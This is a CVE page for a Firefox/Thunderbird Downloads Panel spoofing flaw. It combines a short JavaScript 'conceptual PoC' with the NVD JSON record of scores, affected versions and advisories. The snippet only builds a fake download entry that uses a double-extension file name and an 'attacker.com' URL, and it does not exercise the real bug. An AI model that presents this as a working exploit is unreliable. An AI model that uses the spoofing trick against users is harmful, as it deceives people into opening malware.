CVE-2025-14327

// CVE-2025-14327 PoC - Downloads Panel Spoofing // This is a conceptual PoC demonstrating the spoofing vulnerability // Note: Actual exploitation requires specific Firefox/Thunderbird versions const spoofedDownload = { fileName: 'innocent_document.pdf.exe', // Display different from actual fileSize: '1.2 MB', sourceUrl: 'https://attacker.com/legitimate-looking-url', mimeType: 'application/x-msdownload', // Actual malicious payload could be delivered maliciousPayload: true }; // Simulate spoofed download entry injection function exploitDownloadsPanel() { // Attack vector: Manipulate download information display const downloadEntry = document.createElement('div'); downloadEntry.innerHTML = ` <span class="filename">${spoofedDownload.fileName}</span> <span class="source">${spoofedDownload.sourceUrl}</span> <span class="size">${spoofedDownload.fileSize}</span> `; // This could trick users into opening malicious files console.log('Spoofed download entry created'); return downloadEntry; } // Mitigation: Users should always check actual file extensions // and verify downloads through system file manager

{"cve": {"id": "CVE-2025-14327", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:40.227", "lastModified": "2026-04-13T15:16:45.950", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spoofing issue in the Downloads Panel component. This vulnerability was fixed in Firefox 146, Thunderbird 146, Firefox ESR 140.7, and Thunderbird 140.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "3EF4CBBC-DCB5-4540-8B8A-91DA759ED631"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "1CB46BC7-512D-45BF-BCF4-73FDDF94DBAF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1970743", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-92/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-95/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]"}]}}